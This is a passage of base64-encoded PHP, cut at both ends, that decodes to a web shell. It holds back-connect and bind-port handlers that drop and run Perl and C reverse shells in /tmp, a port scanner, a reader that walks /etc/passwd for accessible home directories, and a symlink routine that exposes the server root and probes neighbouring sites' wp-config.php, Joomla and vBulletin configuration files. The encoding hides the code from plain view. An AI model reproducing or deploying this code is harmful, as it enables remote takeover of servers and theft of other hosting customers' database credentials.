RfUE9TVFsncDMnXS4iICYiKTsNCiAgICAgICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9bWwxPiRvdXRcbiIuZXgoInBzIGF1eCB8IGdyZXAgYnAiKS4iPC9wcmU+IjsNCiAgICAgICAgfQ0KICAgICAgICBpZigkX1BPU1RbJ3AxJ10gPT0gJ2JwcCcpIHsNCiAgICAgICAgICAgIGNmKCIvdG1wL2JwLnBsIiwkYmluZF9wb3J0X3ApOw0KICAgICAgICAgICAgJG91dCA9IGV4KHdoaWNoKCJwZXJsIikuIiAvdG1wL2JwLnBsICIuJF9QT1NUWydwMiddLiIgJiIpOw0KICAgICAgICAgICAgZWNobyAiPHByZSBjbGFzcz1tbDE+JG91dFxuIi5leCgicHMgYXV4IHwgZ3JlcCBicC5wbCIpLiI8L3ByZT4iOw0KICAgICAgICB9DQogICAgICAgIGlmKCRfUE9TVFsncDEnXSA9PSAnYmNjJykgew0KICAgICAgICAgICAgY2YoIi90bXAvYmMuYyIsJGJhY2tfY29ubmVjdF9jKTsNCiAgICAgICAgICAgICRvdXQgPSBleCgiZ2NjIC1vIC90bXAvYmMgL3RtcC9iYy5jIik7DQogICAgICAgICAgICBAdW5saW5rKCIvdG1wL2JjLmMiKTsNCiAgICAgICAgICAgICRvdXQgLj0gZXgoIi90bXAvYmMgIi4kX1BPU1RbJ3AyJ10uIiAiLiRfUE9TVFsncDMnXS4iICYiKTsNCiAgICAgICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9bWwxPiRvdXRcbiIuZXgoInBzIGF1eCB8IGdyZXAgYmMiKS4iPC9wcmU+IjsNCiAgICAgICAgfQ0KICAgICAgICBpZigkX1BPU1RbJ3AxJ10gPT0gJ2JjcCcpIHsNCiAgICAgICAgICAgIGNmKCIvdG1wL2JjLnBsIiwkYmFja19jb25uZWN0X3ApOw0KICAgICAgICAgICAgJG91dCA9IGV4KHdoaWNoKCJwZXJsIikuIiAvdG1wL2JjLnBsICIuJF9QT1NUWydwMiddLiIgIi4kX1BPU1RbJ3AzJ10uIiAmIik7DQogICAgICAgICAgICBlY2hvICI8cHJlIGNsYXNzPW1sMT4kb3V0XG4iLmV4KCJwcyBhdXggfCBncmVwIGJjLnBsIikuIjwvcHJlPiI7DQogICAgICAgIH0NCiAgICB9DQogICAgZWNobyAnPC9kaXY+JzsNCiAgICBwcmludEZvb3RlcigpOw0KfQ0KDQpmdW5jdGlvbiBhY3Rpb25Qb3J0U2Nhbm5lcigpIHsNCiAgICBwcmludEhlYWRlcigpOw0KICAgIGVjaG8gJzxoMT5Qb3J0IFNjYW5uZXI8L2gxPic7DQogICAgZWNobyAnPGRpdiBjbGFzcz0iY29udGVudCI+JzsNCiAgICBlY2hvICc8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4nOw0KICAgIA0KICAgIGlmKGlzc2V0KCRfUE9TVFsnaG9zdCddKSAmJiBpc19udW1lcmljKCRfUE9TVFsnZW5kJ10pICYmIGlzX251bWVyaWMoJF9QT1NUWydzdGFydCddKSl7DQogICAgICAgICRzdGFydCA9IHN0cmlwX3RhZ3MoJF9QT1NUWydzdGFydCddKTsNCiAgICAgICAgJGVuZCA9IHN0cmlwX3RhZ3MoJF9QT1NUWydlbmQnXSk7DQogICAgICAgICRob3N0ID0gc3RyaXBfdGFncygkX1BPU1RbJ2hvc3QnXSk7DQogICAgICAgIGZvcigkaSA9ICRzdGFydDsgJGk8PSRlbmQ7ICRpKyspew0KICAgICAgICAgICAgJGZwID0gQGZzb2Nrb3BlbigkaG9zdCwgJGksICRlcnJubywgJGVycnN0ciwgMyk7DQogICAgICAgICAgICBpZigkZnApew0KICAgICAgICAgICAgICAgIGVjaG8gJ1BvcnQgJy4kaS4nIGlzIDxmb250IGNvbG9yPWdyZWVuPm9wZW48L2ZvbnQ+PGJyPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmbHVzaCgpOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgZWNobyAnPGJyIC8+PGJyIC8+PGNlbnRlcj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iUG9ydFNjYW5uZXIiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9cDE+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icDIiPg0KICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjIiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+DQogICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNoYXJzZXQiIHZhbHVlPSInLihpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpLiciPg0KICAgICAgICAgICAgICBIb3N0OiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iaG9zdCIgdmFsdWU9ImxvY2FsaG9zdCIvPjxiciAvPjxiciAvPg0KICAgICAgICAgICAgICBQb3J0IHN0YXJ0OiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3RhcnQiIHZhbHVlPSIwIi8+PGJyIC8+PGJyIC8+DQogICAgICAgICAgICAgIFBvcnQgZW5kOjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJlbmQiIHZhbHVlPSI1MDAwIi8+PGJyIC8+PGJyIC8+DQogICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTY2FuIFBvcnRzIiAvPg0KICAgICAgICAgICAgICA8L2Zvcm0+PC9jZW50ZXI+PGJyIC8+PGJyIC8+JzsNCiAgICB9DQogICAgZWNobyAnPC9kaXY+JzsNCiAgICBwcmludEZvb3RlcigpOyAgICANCn0NCg0KZnVuY3Rpb24gYWN0aW9uUmVhZGFibGUoKSB7DQogICAgcHJpbnRIZWFkZXIoKTsNCiAgICBlY2hvICc8aDE+UmVhZGFibGUgRGlyczwvaDE+JzsNCiAgICBlY2hvICc8ZGl2IGNsYXNzPSJjb250ZW50Ij4nOw0KICAgICRzbSA9IGluaV9nZXQoJ3NhZmVfbW9kZScpOw0KICAgIGlmKCRzbSkgew0KICAgICAgICBlY2hvICc8YnIgLz48Yj5FcnJvcjogc2FmZV9tb2RlID0gb248L2I+PGJyIC8+PGJyIC8+JzsNCiAgICB9IGVsc2Ugew0KICAgICAgICBAJHBhc3N3ZCA9IGZvcGVuKCcvZXRjL3Bhc3N3ZCcsJ3InKTsNCiAgICAgICAgaWYgKCEkcGFzc3dkKSB7IA0KICAgICAgICAgICAgZWNobyAnPGJyIC8+PGI+Wy1dIEVycm9yIDogY291ZG5gdCByZWFkIC9ldGMvcGFzc3dkPC9iPjxiciAvPjxiciAvPic7IA0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJHB1YiA9IGFycmF5KCk7DQogICAgICAgICAgICAkdXNlcnMgPSBhcnJheSgpOw0KICAgICAgICAgICAgJGNvbmYgPSBhcnJheSgpOw0KICAgICAgICAgICAgJGkgPSAwOw0KICAgICAgICAgICAgd2hpbGUoIWZlb2YoJHBhc3N3ZCkpIHsNCiAgICAgICAgICAgICAgICAkc3RyID0gZmdldHMoJHBhc3N3ZCk7DQogICAgICAgICAgICAgICAgaWYgKCRpID4gMzUpIHsNCiAgICAgICAgICAgICAgICAgICAgJHBvcyA9IHN0cnBvcygkc3RyLCc6Jyk7DQogICAgICAgICAgICAgICAgICAgICR1c2VybmFtZSA9IHN1YnN0cigkc3RyLDAsJHBvcyk7DQogICAgICAgICAgICAgICAgICAgICRkaXJ6ID0gJy9ob21lLycuJHVzZXJuYW1lLicvcHVibGljX2h0bWwvJzsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCgkdXNlcm5hbWUgIT0gJycpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNfcmVhZGFibGUoJGRpcnopKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgYXJyYXlfcHVzaCgkdXNlcnMsJHVzZXJuYW1lKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRwdWIsJGRpcnopOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICRpKys7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvICc8YnI+PGJyPic7DQogICAgICAgICAgICBlY2hvICJbK10gRm91bmRlZCAiLnNpemVvZigkdXNlcnMpLiIgZW50cnlzIGluIC9ldGMvcGFzc3dkXG4iLiI8YnIgLz4iOw0KICAgICAgICAgICAgZWNobyAiWytdIEZvdW5kZWQgIi5zaXplb2YoJHB1YikuIiByZWFkYWJsZSBwdWJsaWNfaHRtbCBkaXJlY3Rvcmllc1xuIi4iPGJyIC8+PGJyIC8+PGJyIC8+IjsNCiAgICAgICAgICAgIGZvcmVhY2ggKCR1c2VycyBhcyAkdXNlcikgew0KICAgICAgICAgICAgICAgICRwYXRoID0gIi9ob21lLyR1c2VyL3B1YmxpY19odG1sLyI7DQogICAgICAgICAgICAgICAgZWNobyAkcGF0aC4iPGJyPiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvICI8YnIgLz48YnIgLz48YnIgLz5bK10gQ29tcGxldGUuLi5cbiIuIjxiciAvPiI7DQogICAgICAgIH0NCiAgICB9DQogICAgZWNobyAnPC9kaXY+JzsNCiAgICBwcmludEZvb3RlcigpOyAgICANCn0NCg0KZnVuY3Rpb24gYWN0aW9uU3ltbGluaygpIHsNCiAgICBwcmludEhlYWRlcigpOw0KICAgIGVjaG8gJzxoMT5TeW1saW5rPC9oMT4nOw0KICAgICRmdXJsID0gJ2h0dHA6Ly8nLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddOw0KICAgICRleHBsZCA9IGV4cGxvZGUoJy8nLCRmdXJsICk7DQogICAgJGJ1cmwgPXN0cl9yZXBsYWNlKGVuZCgkZXhwbGQpLCcnLCRmdXJsKTsgIA0KICAgIA0KICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbnRlbnQiPjxjZW50ZXI+DQogICAgICAgICAgICAgICAgPGgzPlsgPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ3N5bWxpbmtcJyxudWxsLFwnd2Vic2l0ZVwnLG51bGwpIj5Eb21haW5zPC9hPiBdIC0gDQogICAgICAgICAgICAgICAgICAgIFsgPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ3N5bWxpbmtcJyxudWxsLFwnd2hvbGVcJyxudWxsKSI+V2hvbGUgU2VydmVyIFN5bWxpbms8L2E+IF0gLSANCiAgICAgICAgICAgICAgICAgICAgWyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnc3ltbGlua1wnLG51bGwsXCdjb25maWdcJyxudWxsKSI+Q29uZmlnIGZpbGVzIHN5bWxpbms8L2E+IF08L2gzPjwvY2VudGVyPic7DQogICAgDQogICAgaWYoaXNzZXQoJF9QT1NUWydwMSddKSAmJiAkX1BPU1RbJ3AxJ109PSd3ZWJzaXRlJykNCiAgICB7DQogICAgICAgIGVjaG8gIjxjZW50ZXI+IjsNCiAgICAgICAgJGQwbWFpbnMgPSBAZmlsZSgiL2V0Yy9uYW1lZC5jb25mIik7DQogICAgICAgIGlmKCEkZDBtYWlucyl7IA0KICAgICAgICAgICAgZWNobyAiPHByZSBjbGFzcz1tbDEgc3R5bGU9J21hcmdpbi10b3A6NXB4Jz5DYW50IGFjY2VzcyB0aGlzIGZpbGUgb24gc2VydmVyIC0+IFsgL2V0Yy9uYW1lZC5jb25mIF08L3ByZT48L2NlbnRlcj4iOyANCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gIjx0YWJsZSBhbGlnbj1jZW50ZXIgY2xhc3M9J21haW4nIGJvcmRlcj0wID48dHI+PHRoPiBDb3VudCA8L3RoPjx0aD4gRG9tYWlucyA8L3RoPjx0aD4gVXNlcnMgPC90aD48L3RyPiI7DQogICAgICAgICAgICANCiAgICAgICAgICAgICR1bmsgPSBhcnJheSgpOw0KICAgICAgICAgICAgZm9yZWFjaCgkZDBtYWlucyBhcyAkZDBtYWluKXsNCiAgICAgICAgICAgICAgICBpZihAZXJlZ2koInpvbmUiLCRkMG1haW4pKXsNCiAgICAgICAgICAgICAgICAgICAgcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCAkZDBtYWluLCAkZG9tYWlucyk7DQogICAgICAgICAgICAgICAgICAgIGZsdXNoKCk7DQogICAgICAgICAgICAgICAgICAgIGlmKHN0cmxlbih0cmltKCRkb21haW5zWzFdWzBdKSkgPiAyKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICR1bmtbXSA9ICRkb21haW5zWzFdWzBdOw0KICAgICAgICAgICAgICAgICAgICAgICAgZmx1c2goKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJGNvdW50PTE7DQogICAgICAgICAgICAkdW5rID0gYXJyYXlfdW5pcXVlKCR1bmspOw0KICAgICAgICAgICAgJGw9MDsNCiAgICAgICAgICAgIGZvcmVhY2goJHVuayBhcyAkZCl7DQogICAgICAgICAgICAgICAgJHVzZXIgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGQpKTsNCiAgICAgICAgICAgICAgICBlY2hvICI8dHIiLigkbD8nIGNsYXNzPWwxJzonJykuIj48dGQ+Ii4kY291bnQuIjwvdGQ+PHRkPjxhIGhyZWY9aHR0cDovLyIuJGQuIi8+Ii4kZC4iPC9hPjwvdGQ+PHRkPiIuJHVzZXJbJ25hbWUnXS4iPC90ZD48L3RyPiI7DQogICAgICAgICAgICAgICAgZmx1c2goKTsNCiAgICAgICAgICAgICAgICAkY291bnQrKzsNCiAgICAgICAgICAgICAgICAkbD0kbD8wOjE7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvICI8L3RhYmxlPiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiPC9jZW50ZXI+IjsgDQogICAgfQ0KIA0KICAgIGlmKGlzc2V0KCRfUE9TVFsncDEnXSkgJiYgJF9QT1NUWydwMSddPT0nd2hvbGUnKQ0KICAgIHsNCiAgICAgICAgZWNobyAiPGNlbnRlcj4iOw0KICAgICAgICBAbWtkaXIoJ3N5bScsMDc3Nyk7DQogICAgICAgICRoZHQgID0gIk9wdGlvbnMgYWxsIFxuIERpcmVjdG9yeUluZGV4IFN1eC5odG1sIFxuIEFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIFxuIEFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwIFxuICBBZGRUeXBlIHRleHQvcGxhaW4gLmh0bWwgXG4gQWRkSGFuZGxlciB0eHQgLmh0bWwgXG4gUmVxdWlyZSBOb25lIFxuIFNhdGlzZnkgQW55IjsNCiAgICAgICAgJGhmcCA9QGZvcGVuICgnc3ltLy5odGFjY2VzcycsJ3cnKTsNCiAgICAgICAgZndyaXRlKCRoZnAgLCRoZHQpOw0KICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoJ3N5bWxpbmsnKSkgew0KICAgICAgICAgICAgQHN5bWxpbmsoJy8nLCdzeW0vcm9vdCcpOw0KICAgICAgICB9DQogICAgICAgICRkMG1haW5zID0gQGZpbGUoJy9ldGMvbmFtZWQuY29uZicpOw0KICAgICAgICBpZighJGQwbWFpbnMpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9bWwxIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+IyBDYW50IGFjY2VzcyB0aGlzIGZpbGUgb24gc2VydmVyIC0+IFsgL2V0Yy9uYW1lZC5jb25mIF08L3ByZT48L2NlbnRlcj4iOyANCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gIjx0YWJsZSBhbGlnbj0nY2VudGVyJyB3aWR0aD0nNDAlJyBjbGFzcz0nbWFpbic+PHRyPjx0aD4gQ291bnQgPC90aD48dGg+IERvbWFpbnMgPC90aD48dGg+IFVzZXIgPC90aD48dGg+IFN5bWxpbmsgPC90aD48L3RyPiI7DQogICAgICAgICAgICAkY291bnQ9MTsNCiAgICAgICAgICAgICRtY2sgPSBhcnJheSgpOw0KICAgICAgICAgICAgZm9yZWFjaCgkZDBtYWlucyBhcyAkZDBtYWluKXsNCiAgICAgICAgICAgICAgICBpZihAZXJlZ2koJ3pvbmUnLCRkMG1haW4pKXsNCiAgICAgICAgICAgICAgICAgICAgcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCRkMG1haW4sJGRvbWFpbik7DQogICAgICAgICAgICAgICAgICAgIGZsdXNoKCk7DQogICAgICAgICAgICAgICAgICAgIGlmKHN0cmxlbih0cmltKCRkb21haW5bMV1bMF0pKSA+Mil7DQogICAgICAgICAgICAgICAgICAgICAgICAkbWNrW10gPSAkZG9tYWluWzFdWzBdOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJG1jayA9IGFycmF5X3VuaXF1ZSgkbWNrKTsNCiAgICAgICAgICAgICRsPTA7DQogICAgICAgICAgICBmb3JlYWNoKCRtY2sgYXMgJGQpIHsNCiAgICAgICAgICAgICAgICAkdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJy9ldGMvdmFsaWFzZXMvJy4kZCkpOw0KICAgICAgICAgICAgICAgICRkZHQgPSAkdXNlclsnbmFtZSddOw0KICAgICAgICAgICAgICAgIC8vQHN5bWxpbmsoJy8nLCdzeW0vcm9vdCcpOw0KICAgICAgICAgICAgICAgICRkZHQgPSAkZDsNCiAgICAgICAgICAgICAgICBpZihAZXJlZ2koIlwuaXIiLCRkKSBvciBAZXJlZ2koIlwuaWwiLCRkKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGRkdCA9ICI8ZGl2IHN0eWxlPScgY29sb3I6ICNGRjAwMDAgOyB0ZXh0LXNoYWRvdzogMHB4IDBweCAxcHggcmVkOyAnPiIuJGQuJzwvZGl2Pic7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVjaG8gIjx0ciIuKCRsPycgY2xhc3M9bDEnOicnKS4iPjx0ZD4iLiRjb3VudCsrLiI8L3RkPjx0ZD48YSB0YXJnZXQ9J19ibGFuaycgaHJlZj1odHRwOi8vIi4kZC4nLz4nLiRkZHQuJyA8L2E+PC90ZD48dGQ+Jy4kdXNlclsnbmFtZSddLiI8L3RkPjx0ZD48YSBocmVmPSdzeW0vcm9vdC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL3B1YmxpY19odG1sJyB0YXJnZXQ9J19ibGFuayc+c3ltbGluayA8L2E+PC90ZD48L3RyPiI7DQogICAgICAgICAgICAgICAgZmx1c2goKTsNCiAgICAgICAgICAgICAgICAkbD0kbD8wOjE7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvICc8L3RhYmxlPic7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiPC9jZW50ZXI+IjsgICAgDQogICAgfQ0KIA0KICAgIGlmKGlzc2V0KCRfUE9TVFsncDEnXSkgJiYgJF9QT1NUWydwMSddPT0nY29uZmlnJykNCiAgICB7DQogICAgICAgIGVjaG8gIjxjZW50ZXI+IjsNCiAgICAgICAgQG1rZGlyKCdzeW0nLDA3NzcpOw0KICAgICAgICAkaGR0ID0gIk9wdGlvbnMgYWxsIFxuIERpcmVjdG9yeUluZGV4IFN1eC5odG1sIFxuIEFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIFxuIEFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwIFxuICBBZGRUeXBlIHRleHQvcGxhaW4gLmh0bWwgXG4gQWRkSGFuZGxlciB0eHQgLmh0bWwgXG4gUmVxdWlyZSBOb25lIFxuIFNhdGlzZnkgQW55IjsNCiAgICAgICAgJGhmcCA9IEBmb3BlbiAoJ3N5bS8uaHRhY2Nlc3MnLCd3Jyk7DQogICAgICAgIEBmd3JpdGUoJGhmcCAsJGhkdCk7DQogICAgICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnc3ltbGluaycpKSB7DQogICAgICAgICAgICBAc3ltbGluaygnLycsJ3N5bS9yb290Jyk7DQogICAgICAgIH0NCiAgICAgICAgJGQwbWFpbnMgPSBAZmlsZSgnL2V0Yy9uYW1lZC5jb25mJyk7DQogICAgICAgIGlmKCEkZDBtYWlucykgew0KICAgICAgICAgICAgZWNobyAiPHByZSBjbGFzcz1tbDEgc3R5bGU9J21hcmdpbi10b3A6NXB4Jz4jIENhbnQgYWNjZXNzIHRoaXMgZmlsZSBvbiBzZXJ2ZXIgLT4gWyAvZXRjL25hbWVkLmNvbmYgXTwvcHJlPjwvY2VudGVyPiI7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICBlY2hvICI8dGFibGUgYWxpZ249J2NlbnRlcicgd2lkdGg9JzQwJScgY2xhc3M9J21haW4nID48dHI+PHRoPiBDb3VudCA8L3RoPjx0aD4gRG9tYWlucyA8L3RoPjx0aD4gU2NyaXB0IDwvdGg+PC90cj4iOw0KICAgICAgICAgICAgJGNvdW50ID0gMTsNCiAgICAgICAgICAgICRsPTA7DQogICAgICAgICAgICBmb3JlYWNoKCRkMG1haW5zIGFzICRkMG1haW4pew0KICAgICAgICAgICAgICAgIGlmKEBlcmVnaSgnem9uZScsJGQwbWFpbikpew0KICAgICAgICAgICAgICAgICAgICBwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsJGQwbWFpbiwkZG9tYWluKTsNCiAgICAgICAgICAgICAgICAgICAgZmx1c2goKTsNCiAgICAgICAgICAgICAgICAgICAgaWYoc3RybGVuKHRyaW0oJGRvbWFpblsxXVswXSkpPjIpew0KICAgICAgICAgICAgICAgICAgICAgICAgJHVzZXIgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCcvZXRjL3ZhbGlhc2VzLycuJGRvbWFpblsxXVswXSkpOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAkYzEgPSAkYnVybC4nL3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCc7DQogICAgICAgICAgICAgICAgICAgICAgICAkY2gwMSA9IGdldF9oZWFkZXJzKCRjMSk7DQogICAgICAgICAgICAgICAgICAgICAgICAkY2YwMSA9ICRjaDAxWzBdOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGMyID0gJGJ1cmwuJy9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCc7DQogICAgICAgICAgICAgICAgICAgICAgICAkY2gwMiA9IGdldF9oZWFkZXJzKCRjMik7DQogICAgICAgICAgICAgICAgICAgICAgICAkY2YwMiA9ICRjaDAyWzBdOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGMzID0gJGJ1cmwuJy9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjaDAzID0gZ2V0X2hlYWRlcnMoJGMzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjZjAzID0gJGNoMDNbMF07DQogICAgICAgICAgICAgICAgICAgICAgICAkYzQgPSAkYnVybC4nL3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjaDA0ID0gZ2V0X2hlYWRlcnMoJGM0KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjZjA0ID0gJGNoMDRbMF07DQogICAgICAgICAgICAgICAgICAgICAgICAkYzUgPSAkYnVybC4nL3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCc7DQogICAgICAgICAgICAgICAgICAgICAgICAkY2gwNSA9IGdldF9oZWFkZXJzKCRjNSk7DQogICAgICAgICAgICAgICAgICAgICAgICAkY2YwNSA9ICRjaDA1WzBdOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGM2ID0gJGJ1cmwuJy9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGNoMDYgPSBnZXRfaGVhZGVycygkYzYpOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGNmMDYgPSAkY2gwNlswXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjNyA9ICRidXJsLicvc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjaDA3ID0gZ2V0X2hlYWRlcnMoJGM3KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjZjA3ID0gJGNoMDdbMF07DQogICAgICAgICAgICAgICAgICAgICAgICAkYzggPSAkYnVybC4nL3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLidwdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjaDA4ID0gZ2V0X2hlYWRlcnMoJGM4KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjZjA4ID0gJGNoMDhbMF07DQogICAgICAgICAgICAgICAgICAgICAgICAkYzkgPSAkYnVybC4nL3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCc7DQogICAgICAgICAgICAgICAgICAgICAgICAkY2gwOSA9IGdldF9oZWFkZXJzKCRjOSk7DQogICAgICAgICAgICAgICAgICAgICAgICAkY2YwOSA9ICRjaDA5WzBdOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGMxMCA9ICRidXJsLicvc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGNoMTAgPSBnZXRfaGVhZGVycygkYzEwKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjZjEwID0gJGNoMTBbMF07DQogICAgICAgICAgICAgICAgICAgICAgICAkYzExID0gJGJ1cmwuJy9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL3N1Ym1pdHRpY2tldC5waHAnOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGNoMTEgPSBnZXRfaGVhZGVycygkYzExKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjZjExID0gJGNoMTFbMF07DQogICAgICAgICAgICAgICAgICAgICAgICAkYzEyID0gJGJ1cmwuJy9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCc7DQogICAgICAgICAgICAgICAgICAgICAgICAkY2gxMiA9IGdldF9oZWFkZXJzKCRjMTIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGNmMTIgPSAkY2gxMlswXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjMTMgPSAkYnVybC4nL3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlndXJlLnBocCc7DQogICAgICAgICAgICAgICAgICAgICAgICAkY2gxMyA9IGdldF9oZWFkZXJzKCRjMTMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGNmMTMgPSAkY2gxM1swXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjMTQgPSAkYnVybC4nL3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvaW5jbHVkZS9hcHBfY29uZmlnLnBocCc7DQogICAgICAgICAgICAgICAgICAgICAgICAkY2gxNCA9IGdldF9oZWFkZXJzKCRjMTQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGNmMTQgPSAkY2gxNFswXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjMTUgPSAkYnVybC4nL3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvc2l0ZXMvZGVmYXVsdC9zZXR0aW5ncy5waHAnOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGNoMTUgPSBnZXRfaGVhZGVycygkYzE1KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjZjE1ID0gJGNoMTVbMF07DQogICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICRvdXQgPSAnJm5ic3A7JzsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKHN0cnBvcygkY2YwMSwnMjAwJykgPT0g